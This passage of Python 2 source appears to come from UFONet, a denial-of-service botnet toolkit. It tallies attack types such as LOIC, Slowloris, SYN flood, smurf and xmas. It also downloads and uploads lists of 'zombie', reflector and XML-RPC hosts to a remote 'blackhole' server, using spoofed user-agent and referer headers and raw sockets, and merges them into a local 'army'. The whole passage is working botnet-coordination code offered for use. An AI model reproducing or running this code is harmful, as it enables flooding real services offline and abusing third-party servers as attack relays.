  1279. stats_json_file = open(self.mothership_stats_file, "w+")
  1280. stats_json_file.write(json.dumps(data))
  1281. stats_json_file.close()
  1282. def update_transferred_stats(self, num):
  1283. stats_json_file = open(self.mothership_stats_file, "r")
  1284. data = json.load(stats_json_file)
  1285. stats_json_file.close()
  1286. transferred = data["transferred"]
  1287. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1288. data["transferred"] = transferred
  1289. stats_json_file = open(self.mothership_stats_file, "w+")
  1290. stats_json_file.write(json.dumps(data))
  1291. stats_json_file.close()
  1292. def update_max_chargo(self, chargo):
  1293. stats_json_file = open(self.mothership_stats_file, "r")
  1294. data = json.load(stats_json_file)
  1295. stats_json_file.close()
  1296. amax_chargo = data["max_chargo"]
  1297. if int(chargo) > int(amax_chargo): # new max chargo found
  1298. amax_chargo = chargo # add new max chargo
  1299. else:
  1300. amax_chargo = data["max_chargo"]
  1301. data["max_chargo"] = amax_chargo
  1302. stats_json_file = open(self.mothership_stats_file, "w+")
  1303. stats_json_file.write(json.dumps(data))
  1304. stats_json_file.close()
  1305. def update_loic_stats(self):
  1306. stats_json_file = open(self.mothership_stats_file, "r")
  1307. data = json.load(stats_json_file)
  1308. stats_json_file.close()
  1309. aloic = data["loic"]
  1310. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1311. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1312. data["loic"] = aloic
  1313. stats_json_file = open(self.mothership_stats_file, "w+")
  1314. stats_json_file.write(json.dumps(data))
  1315. stats_json_file.close()
  1316. def update_loris_stats(self):
  1317. stats_json_file = open(self.mothership_stats_file, "r")
  1318. data = json.load(stats_json_file)
  1319. stats_json_file.close()
  1320. aloris = data["loris"]
  1321. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1322. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1323. data["loris"] = aloris
  1324. stats_json_file = open(self.mothership_stats_file, "w+")
  1325. stats_json_file.write(json.dumps(data))
  1326. stats_json_file.close()
  1327. def update_ufosyn_stats(self):
  1328. stats_json_file = open(self.mothership_stats_file, "r")
  1329. data = json.load(stats_json_file)
  1330. stats_json_file.close()
  1331. aufosyn = data["ufosyn"]
  1332. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1333. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1334. data["ufosyn"] = aufosyn
  1335. stats_json_file = open(self.mothership_stats_file, "w+")
  1336. stats_json_file.write(json.dumps(data))
  1337. stats_json_file.close()
  1338. def update_spray_stats(self):
  1339. stats_json_file = open(self.mothership_stats_file, "r")
  1340. data = json.load(stats_json_file)
  1341. stats_json_file.close()
  1342. aspray = data["spray"]
  1343. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1344. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1345. data["spray"] = aspray
  1346. stats_json_file = open(self.mothership_stats_file, "w+")
  1347. stats_json_file.write(json.dumps(data))
  1348. stats_json_file.close()
  1349. def update_smurf_stats(self):
  1350. stats_json_file = open(self.mothership_stats_file, "r")
  1351. data = json.load(stats_json_file)
  1352. stats_json_file.close()
  1353. asmurf = data["smurf"]
  1354. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1355. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1356. data["smurf"] = asmurf
  1357. stats_json_file = open(self.mothership_stats_file, "w+")
  1358. stats_json_file.write(json.dumps(data))
  1359. stats_json_file.close()
  1360. def update_xmas_stats(self):
  1361. stats_json_file = open(self.mothership_stats_file, "r")
  1362. data = json.load(stats_json_file)
  1363. stats_json_file.close()
  1364. axmas = data["xmas"]
  1365. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1366. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1367. data["xmas"] = axmas
  1368. stats_json_file = open(self.mothership_stats_file, "w+")
  1369. stats_json_file.write(json.dumps(data))
  1370. stats_json_file.close()
  1371. def update_nuke_stats(self):
  1372. stats_json_file = open(self.mothership_stats_file, "r")
  1373. data = json.load(stats_json_file)
  1374. stats_json_file.close()
  1375. anuke = data["nuke"]
  1376. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1377. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1378. data["nuke"] = anuke
  1379. stats_json_file = open(self.mothership_stats_file, "w+")
  1380. stats_json_file.write(json.dumps(data))
  1381. stats_json_file.close()
  1382. def update_tachyon_stats(self):
  1383. stats_json_file = open(self.mothership_stats_file, "r")
  1384. data = json.load(stats_json_file)
  1385. stats_json_file.close()
  1386. atachyon = data["tachyon"]
  1387. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  1388. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  1389. data["tachyon"] = atachyon
  1390. stats_json_file = open(self.mothership_stats_file, "w+")
  1391. stats_json_file.write(json.dumps(data))
  1392. stats_json_file.close()
  1393. def uploading_list(self):
  1394. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1395. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1396. abductions = "abductions.txt.gz"
  1397. troops = "troops.txt.gz"
  1398. robots = "robots.txt.gz"
  1399. drones = "drones.txt.gz"
  1400. reflectors = "reflectors.txt.gz"
  1401. if self.options.timeout: # set timeout
  1402. try:
  1403. timeout = int(self.options.timeout)
  1404. except:
  1405. timeout = 1
  1406. else:
  1407. timeout = 1
  1408. if timeout < 1:
  1409. timeout = 1
  1410. try:
  1411. print("[AI] Checking integrity of [Blackhole]...\n")
  1412. if self.options.forcessl:
  1413. if self.options.proxy: # set proxy
  1414. self.proxy_transport(options.proxy)
  1415. req = urllib2.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1416. abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1417. req = urllib2.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1418. troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1419. req = urllib2.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1420. robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1421. req = urllib2.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1422. drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1423. req = urllib2.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1424. reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1425. else:
  1426. if self.options.proxy: # set proxy
  1427. self.proxy_transport(options.proxy)
  1428. req = urllib2.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1429. abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1430. req = urllib2.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1431. troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1432. req = urllib2.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1433. robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1434. req = urllib2.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1435. drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1436. req = urllib2.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1437. reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1438. print("[AI] [Control] [Blackhole] Reply: [VORTEX READY!] ;-)")
  1439. f_in_abductions = gzip.open(abductions_reply, 'rb')
  1440. f_out_abductions = open('abductions.txt', 'wb')
  1441. f_out_abductions.write(f_in_abductions.read())
  1442. f_in_abductions.close()
  1443. f_out_abductions.close()
  1444. os.remove(abductions) # remove .gz file
  1445. num_zombies = 0
  1446. with open('abductions.txt') as f:
  1447. for _ in f:
  1448. num_zombies = num_zombies + 1
  1449. print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))
  1450. f_in_robots = gzip.open(robots_reply, 'rb')
  1451. f_out_robots = open('robots.txt', 'wb')
  1452. f_out_robots.write(f_in_robots.read())
  1453. f_in_robots.close()
  1454. f_out_robots.close()
  1455. os.remove(robots) # remove .gz file
  1456. num_robots = 0
  1457. with open('robots.txt') as f:
  1458. for _ in f:
  1459. num_robots = num_robots + 1
  1460. print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))
  1461. f_in_troops = gzip.open(troops_reply, 'rb')
  1462. f_out_troops = open('troops.txt', 'wb')
  1463. f_out_troops.write(f_in_troops.read())
  1464. f_in_troops.close()
  1465. f_out_troops.close()
  1466. os.remove(troops) # remove .gz file
  1467. num_aliens = 0
  1468. with open(self.aliens_file) as f:
  1469. for _ in f:
  1470. num_aliens = num_aliens + 1
  1471. print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))
  1472. f_in_drones = gzip.open(drones_reply, 'rb')
  1473. f_out_drones = open('drones.txt', 'wb')
  1474. f_out_drones.write(f_in_drones.read())
  1475. f_in_drones.close()
  1476. f_out_drones.close()
  1477. os.remove(drones) # remove .gz file
  1478. num_drones = 0
  1479. with open('drones.txt') as f:
  1480. for _ in f:
  1481. num_drones = num_drones + 1
  1482. print("[Info] [Drones] on [Blackhole] : "+ str(num_drones))
  1483. f_in_reflectors = gzip.open(reflectors_reply, 'rb')
  1484. f_out_reflectors = open('reflectors.txt', 'wb')
  1485. f_out_reflectors.write(f_in_reflectors.read())
  1486. f_in_reflectors.close()
  1487. f_out_reflectors.close()
  1488. os.remove(reflectors) # remove .gz file
  1489. num_reflectors = 0
  1490. with open('reflectors.txt') as f:
  1491. for _ in f:
  1492. num_reflectors = num_reflectors + 1
  1493. print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))
  1494. print '-'*12 + '\n'
  1495. if not self.options.forceyes:
  1496. update_reply = raw_input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  1497. print '-'*25
  1498. else:
  1499. update_reply = "Y"
  1500. if update_reply == "n" or update_reply == "N":
  1501. os.remove('abductions.txt') # remove abductions file
  1502. os.remove('troops.txt') # remove troops file
  1503. os.remove('robots.txt') # remove robots file
  1504. os.remove('drones.txt') # remove drones file
  1505. os.remove('reflectors.txt') # remove reflectors file
  1506. print "\n[Info] [AI] [Control] Aborting upload process and cleaning temporal files... -> [Exiting!]\n"
  1507. return
  1508. else:
  1509. print "\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n" # only upload valid zombies
  1510. print '='*35
  1511. zombies = self.extract_zombies()
  1512. if not zombies:
  1513. return
  1514. test = self.testing(zombies)
  1515. zombies_community = []
  1516. zombies_added = 0
  1517. f = open('abductions.txt')
  1518. abductions = f.readlines()
  1519. abductions = [abduction.strip() for abduction in abductions]
  1520. f.close()
  1521. fz = open(self.zombies_file)
  1522. zombies = fz.readlines()
  1523. zombies = [zombie.strip() for zombie in zombies]
  1524. fz.close()
  1525. for zombie in zombies:
  1526. if zombie not in abductions:
  1527. zombies_community.append(zombie)
  1528. zombies_added = zombies_added + 1
  1529. else:
  1530. pass
  1531. print("[Info] [AI] New [Zombies] found: " + str(zombies_added))
  1532. aliens = self.extract_aliens()
  1533. if not aliens:
  1534. return
  1535. aliens_community = []
  1536. aliens_added = 0
  1537. f = open('troops.txt')
  1538. troops = f.readlines()
  1539. troops = [troop.strip() for troop in troops]
  1540. f.close()
  1541. fz = open(self.aliens_file)
  1542. aliens = fz.readlines()
  1543. aliens = [alien.strip() for alien in aliens]
  1544. fz.close()
  1545. for alien in aliens:
  1546. if alien not in troops:
  1547. aliens_community.append(alien)
  1548. aliens_added = aliens_added + 1
  1549. else:
  1550. pass
  1551. print("[Info] [AI] New [Aliens] found : " + str(aliens_added))
  1552. droids = self.extract_droids()
  1553. if not droids:
  1554. return
  1555. droids_community = []
  1556. droids_added = 0
  1557. f = open('robots.txt')
  1558. robots = f.readlines()
  1559. robots = [robot.strip() for robot in robots]
  1560. f.close()
  1561. fz = open(self.droids_file)
  1562. droids = fz.readlines()
  1563. droids = [droid.strip() for droid in droids]
  1564. fz.close()
  1565. for droid in droids:
  1566. if droid not in robots:
  1567. droids_community.append(droid)
  1568. droids_added = droids_added + 1
  1569. else:
  1570. pass
  1571. print("[Info] [AI] New [Droids] found : " + str(droids_added))
  1572. ucavs = self.extract_ucavs()
  1573. if not ucavs:
  1574. return
  1575. ucavs_community = []
  1576. ucavs_added = 0
  1577. f = open('drones.txt')
  1578. drones = f.readlines()
  1579. drones = [drone.strip() for drone in drones]
  1580. f.close()
  1581. fz = open(self.ucavs_file)
  1582. ucavs = fz.readlines()
  1583. ucavs = [ucav.strip() for ucav in ucavs]
  1584. fz.close()
  1585. for ucav in ucavs:
  1586. if ucav not in drones:
  1587. ucavs_community.append(ucav)
  1588. ucavs_added = ucavs_added + 1
  1589. else:
  1590. pass
  1591. print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added))
  1592. rpcs = self.extract_rpcs()
  1593. if not ucavs:
  1594. return
  1595. rpcs_community = []
  1596. rpcs_added = 0
  1597. f = open('reflectors.txt')
  1598. reflectors = f.readlines()
  1599. reflectors = [reflector.strip() for reflector in reflectors]
  1600. f.close()
  1601. fz = open(self.rpcs_file)
  1602. rpcs = fz.readlines()
  1603. rpcs = [rpc.strip() for rpc in rpcs]
  1604. fz.close()
  1605. for rpc in rpcs:
  1606. if rpc not in reflectors:
  1607. rpcs_community.append(rpc)
  1608. rpcs_added = rpcs_added + 1
  1609. else:
  1610. pass
  1611. print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))
  1612. print '-'*12 + '\n'
  1613. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0: # not any zombie
  1614. os.remove('abductions.txt') # remove abductions file
  1615. os.remove('troops.txt') # remove troops file
  1616. os.remove('robots.txt') # remove robots file
  1617. os.remove('drones.txt') # remove ucavs file
  1618. os.remove('rpcs.txt') # remove rpcs file
  1619. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  1620. return
  1621. else:
  1622. fc = gzip.open('community_zombies.txt.gz', 'wb')
  1623. for zombie in zombies_community:
  1624. fc.write(zombie.strip()+"\n")
  1625. fc.close()
  1626. os.remove('abductions.txt') # remove abductions file
  1627. fc = gzip.open('community_aliens.txt.gz', 'wb')
  1628. for alien in aliens_community:
  1629. fc.write(alien.strip()+"\n")
  1630. fc.close()
  1631. os.remove('troops.txt') # remove troops file
  1632. fc = gzip.open('community_droids.txt.gz', 'wb')
  1633. for droid in droids_community:
  1634. fc.write(droid.strip()+"\n")
  1635. fc.close()
  1636. os.remove('robots.txt') # remove robots file
  1637. fc = gzip.open('community_ucavs.txt.gz', 'wb')
  1638. for ucav in ucavs_community:
  1639. fc.write(ucav.strip()+"\n")
  1640. fc.close()
  1641. os.remove('drones.txt') # remove drones file
  1642. fc = gzip.open('community_rpcs.txt.gz', 'wb')
  1643. for rpc in rpcs_community:
  1644. fc.write(rpc.strip()+"\n")
  1645. fc.close()
  1646. os.remove('reflectors.txt') # remove reflectors file
  1647. print("[Info] [AI] Starting to upload new [Zombies]...\n")
  1648. try: # open a socket and send data to the blackhole reciever port
  1649. host = self.blackhole
  1650. cport = 9991
  1651. mport = 9990
  1652. try:
  1653. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  1654. cs.connect((host, cport))
  1655. cs.send("SEND " + 'community_zombies.txt.gz')
  1656. cs.close()
  1657. f = open('community_zombies.txt.gz', "rb")
  1658. data = f.read()
  1659. f.close()
  1660. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1661. ms.connect((host, mport))
  1662. ms.send(data)
  1663. ms.close()
  1664. os.remove('community_zombies.txt.gz') # remove local zombies .gz file after transfer
  1665. time.sleep(1)
  1666. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1667. cs.connect((host, cport))
  1668. cs.send("SEND " + 'community_aliens.txt.gz')
  1669. cs.close()
  1670. f = open('community_aliens.txt.gz', "rb")
  1671. data = f.read()
  1672. f.close()
  1673. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1674. ms.connect((host, mport))
  1675. ms.send(data)
  1676. ms.close()
  1677. os.remove('community_aliens.txt.gz') # remove local aliens .gz file after transfer
  1678. time.sleep(1)
  1679. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1680. cs.connect((host, cport))
  1681. cs.send("SEND " + 'community_robots.txt.gz')
  1682. cs.close()
  1683. f = open('community_droids.txt.gz', "rb")
  1684. data = f.read()
  1685. f.close()
  1686. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1687. ms.connect((host, mport))
  1688. ms.send(data)
  1689. ms.close()
  1690. os.remove('community_droids.txt.gz') # remove local droids .gz file after transfer
  1691. time.sleep(1)
  1692. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1693. cs.connect((host, cport))
  1694. cs.send("SEND " + 'community_ucavs.txt.gz')
  1695. cs.close()
  1696. f = open('community_ucavs.txt.gz', "rb")
  1697. data = f.read()
  1698. f.close()
  1699. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1700. ms.connect((host, mport))
  1701. ms.send(data)
  1702. ms.close()
  1703. os.remove('community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  1704. time.sleep(1)
  1705. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1706. cs.connect((host, cport))
  1707. cs.send("SEND " + 'community_rpcs.txt.gz')
  1708. cs.close()
  1709. f = open('community_rpcs.txt.gz', "rb")
  1710. data = f.read()
  1711. f.close()
  1712. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1713. ms.connect((host, mport))
  1714. ms.send(data)
  1715. ms.close()
  1716. os.remove('community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  1717. time.sleep(2) # sleep a bit more
  1718. print '-'*12 + '\n'
  1719. print("[Info] [AI] Transfer -> [DONE!]\n")
  1720. except Exception, e:
  1721. print str(e) + "\n"
  1722. except:
  1723. print '-'*12 + '\n'
  1724. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  1725. return
  1726. except:
  1727. print '-'*12 + '\n'
  1728. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  1729. return
  1730. def update_gui_data(self):
  1731. # download all GUI stream data
  1732. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1733. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1734. if self.options.proxy: # set proxy
  1735. self.proxy_transport(self.options.proxy)
  1736. if self.options.timeout: # set timeout
  1737. try:
  1738. timeout = int(self.options.timeout)
  1739. except:
  1740. timeout = 1
  1741. else:
  1742. timeout = 1
  1743. if timeout < 1:
  1744. timeout = 1
  1745. if self.options.forcessl:
  1746. news = urllib2.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1747. news_reply = urllib2.urlopen(news, context=self.ctx, timeout=timeout).read()
  1748. missions = urllib2.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1749. missions_reply = urllib2.urlopen(missions, context=self.ctx, timeout=timeout).read()
  1750. board = urllib2.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1751. board_reply = urllib2.urlopen(board, context=self.ctx, timeout=timeout).read()
  1752. grid = urllib2.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1753. grid_reply = urllib2.urlopen(grid, context=self.ctx, timeout=timeout).read()
  1754. wargames = urllib2.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1755. wargames_reply = urllib2.urlopen(wargames, context=self.ctx, timeout=timeout).read()
  1756. else:
  1757. news = urllib2.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1758. news_reply = urllib2.urlopen(news, context=self.ctx).read()
  1759. missions = urllib2.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1760. missions_reply = urllib2.urlopen(missions, context=self.ctx).read()
  1761. board = urllib2.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1762. board_reply = urllib2.urlopen(board, context=self.ctx).read()
  1763. grid = urllib2.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1764. grid_reply = urllib2.urlopen(grid, context=self.ctx).read()
  1765. wargames = urllib2.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1766. wargames_reply = urllib2.urlopen(wargames, context=self.ctx).read()
  1767. f = open(self.news_file, 'w')
  1768. f.write(news_reply)
  1769. f.close()
  1770. f = open(self.missions_file, 'w')
  1771. f.write(missions_reply)
  1772. f.close()
  1773. f = open(self.board_file, 'w')
  1774. f.write(board_reply)
  1775. f.close()
  1776. f = open(self.grid_file, 'w')
  1777. f.write(grid_reply)
  1778. f.close()
  1779. f = open(self.wargames_file, 'w')
  1780. f.write(wargames_reply)
  1781. f.close()
  1782. print '-'*25 + "\n"
  1783. print "[Info] [AI] GUI data correctly updated:\n"
  1784. if news_reply:
  1785. print "[Info] [AI] [News] : OK!"
  1786. if missions_reply:
  1787. print "[Info] [AI] [Missions]: OK!"
  1788. if board_reply:
  1789. print "[Info] [AI] [Board] : OK!"
  1790. if grid_reply:
  1791. print "[Info] [AI] [Grid] : OK!"
  1792. if wargames_reply:
  1793. print "[Info] [AI] [Wargames]: OK!"
  1794. print '-'*25
  1795. print "\n[AI] "+self.exit_msg+"\n"
  1796. def downloading_list(self):
  1797. # add your mirror to protect/share/distribute zombies
  1798. try:
  1799. print("[AI] Trying [Blackhole]: "+self.blackhole+"\n")
  1800. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1801. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1802. if self.options.timeout: # set timeout
  1803. try:
  1804. timeout = int(self.options.timeout)
  1805. except:
  1806. timeout = 1
  1807. else:
  1808. timeout = 1
  1809. if timeout < 1:
  1810. timeout = 1
  1811. if self.options.forcessl:
  1812. if self.options.proxy: # set proxy
  1813. self.proxy_transport(options.proxy)
  1814. req = urllib2.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1815. abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1816. req = urllib2.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1817. troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1818. req = urllib2.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1819. robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1820. req = urllib2.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1821. drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1822. req = urllib2.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1823. reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1824. else:
  1825. if self.options.proxy: # set proxy
  1826. self.proxy_transport(options.proxy)
  1827. req = urllib2.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1828. abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1829. req = urllib2.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1830. troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1831. req = urllib2.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1832. robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1833. req = urllib2.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1834. drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1835. req = urllib2.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1836. reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1837. f = open('abductions.txt.gz', 'w')
  1838. f.write(abductions_reply)
  1839. f.close()
  1840. f = open('troops.txt.gz', 'w')
  1841. f.write(troops_reply)
  1842. f.close()
  1843. f = open('robots.txt.gz', 'w')
  1844. f.write(robots_reply)
  1845. f.close()
  1846. f = open('drones.txt.gz', 'w')
  1847. f.write(drones_reply)
  1848. f.close()
  1849. f = open('reflectors.txt.gz', 'w')
  1850. f.write(reflectors_reply)
  1851. f.close()
  1852. print("[AI] [Control] [Blackhole] Reply: [VORTEX READY!] ;-)")
  1853. except:
  1854. print("[AI] [Control] [Blackhole] Reply: [VORTEX FAILED!]")
  1855. print '-'*12 + '\n'
  1856. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] -> [Exiting!]\n")
  1857. return
  1858. print '-'*12 + '\n'
  1859. f_in_abductions = gzip.open('abductions.txt.gz', 'rb')
  1860. f_out_abductions = open('abductions.txt', 'wb')
  1861. f_out_abductions.write(f_in_abductions.read())
  1862. f_in_abductions.close()
  1863. f_out_abductions.close()
  1864. os.remove('abductions.txt.gz') # remove abductions .gz file
  1865. f_in_troops = gzip.open('troops.txt.gz', 'rb')
  1866. f_out_troops = open('troops.txt', 'wb')
  1867. f_out_troops.write(f_in_troops.read())
  1868. f_in_troops.close()
  1869. f_out_troops.close()
  1870. os.remove('troops.txt.gz') # remove troops .gz file
  1871. f_in_robots = gzip.open('robots.txt.gz', 'rb')
  1872. f_out_robots = open('robots.txt', 'wb')
  1873. f_out_robots.write(f_in_robots.read())
  1874. f_in_robots.close()
  1875. f_out_robots.close()
  1876. os.remove('robots.txt.gz') # remove robots .gz file
  1877. f_in_drones = gzip.open('drones.txt.gz', 'rb')
  1878. f_out_drones = open('drones.txt', 'wb')
  1879. f_out_drones.write(f_in_drones.read())
  1880. f_in_drones.close()
  1881. f_out_drones.close()
  1882. os.remove('drones.txt.gz') # remove drones .gz file
  1883. f_in_reflectors = gzip.open('reflectors.txt.gz', 'rb')
  1884. f_out_reflectors = open('reflectors.txt', 'wb')
  1885. f_out_reflectors.write(f_in_reflectors.read())
  1886. f_in_reflectors.close()
  1887. f_out_reflectors.close()
  1888. os.remove('reflectors.txt.gz') # remove reflectors .gz file
  1889. num_abductions = 0
  1890. with open('abductions.txt') as f:
  1891. for _ in f:
  1892. num_abductions = num_abductions + 1
  1893. print("[Info] Zombies: " + str(num_abductions))
  1894. num_robots = 0
  1895. with open('robots.txt') as f:
  1896. for _ in f:
  1897. num_robots = num_robots + 1
  1898. print("[Info] Droids : " + str(num_robots))
  1899. num_troops = 0
  1900. with open('troops.txt') as f:
  1901. for _ in f:
  1902. num_troops = num_troops + 1
  1903. print("[Info] Aliens : " + str(num_troops))
  1904. num_drones = 0
  1905. with open('drones.txt') as f:
  1906. for _ in f:
  1907. num_drones = num_drones + 1
  1908. print("[Info] UCAVs : " + str(num_drones))
  1909. num_reflectors = 0
  1910. with open('reflectors.txt') as f:
  1911. for _ in f:
  1912. num_reflectors = num_reflectors + 1
  1913. print("[Info] X-RPCs : " + str(num_reflectors))
  1914. total_zombies = num_abductions + num_troops + num_robots + num_drones + num_reflectors
  1915. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  1916. print '-'*12
  1917. if not self.options.forceyes:
  1918. update_reply = raw_input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  1919. print '-'*25
  1920. else:
  1921. update_reply = "Y"
  1922. if update_reply == "n" or update_reply == "N":
  1923. os.remove('abductions.txt') # remove abductions file
  1924. os.remove('troops.txt') # remove troops file
  1925. os.remove('robots.txt') # remove robots file
  1926. os.remove('drones.txt') # remove drones file
  1927. os.remove('reflectors.txt') # remove reflectors file
  1928. print "\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]"
  1929. print '-'*25
  1930. print "\n[AI] "+self.exit_msg+"\n"
  1931. else:
  1932. zombies_ready = []
  1933. f = open('abductions.txt')
  1934. abductions = f.readlines()
  1935. f.close()
  1936. fz = open(self.zombies_file)
  1937. zombies = fz.readlines()
  1938. fz.close()
  1939. for abduction in abductions:
  1940. abduction = abduction.replace('\n','')
  1941. if abduction not in zombies:
  1942. zombies_ready.append(abduction)
  1943. else:
  1944. pass
  1945. self.update_zombies(zombies_ready)
  1946. os.remove('abductions.txt') # remove abductions .txt file
  1947. aliens_ready = []
  1948. f = open('troops.txt')
  1949. troops = f.readlines()
  1950. f.close()
  1951. fz = open(self.aliens_file)
  1952. aliens = fz.readlines()
  1953. fz.close()
  1954. for alien in troops:
  1955. alien = alien.replace('\n','')
  1956. if alien not in aliens:
  1957. aliens_ready.append(alien)
  1958. else:
  1959. pass
  1960. self.update_aliens(aliens_ready)
  1961. os.remove('troops.txt') # remove troops .txt file
  1962. droids_ready = []
  1963. f = open('robots.txt')
  1964. robots = f.readlines()
  1965. f.close()
  1966. fz = open(self.droids_file)
  1967. droids = fz.readlines()
  1968. fz.close()
  1969. for droid in robots:
  1970. droid = droid.replace('\n','')
  1971. if droid not in droids:
  1972. droids_ready.append(droid)
  1973. else:
  1974. pass
  1975. self.update_droids(droids_ready)
  1976. os.remove('robots.txt') # remove robots .txt file
  1977. ucavs_ready = []
  1978. f = open('drones.txt')
  1979. drones = f.readlines()
  1980. f.close()
  1981. fz = open(self.ucavs_file)
  1982. ucavs = fz.readlines()
  1983. fz.close()
  1984. for drone in drones:
  1985. drone = drone.replace('\n','')
  1986. if drone not in ucavs:
  1987. ucavs_ready.append(drone)
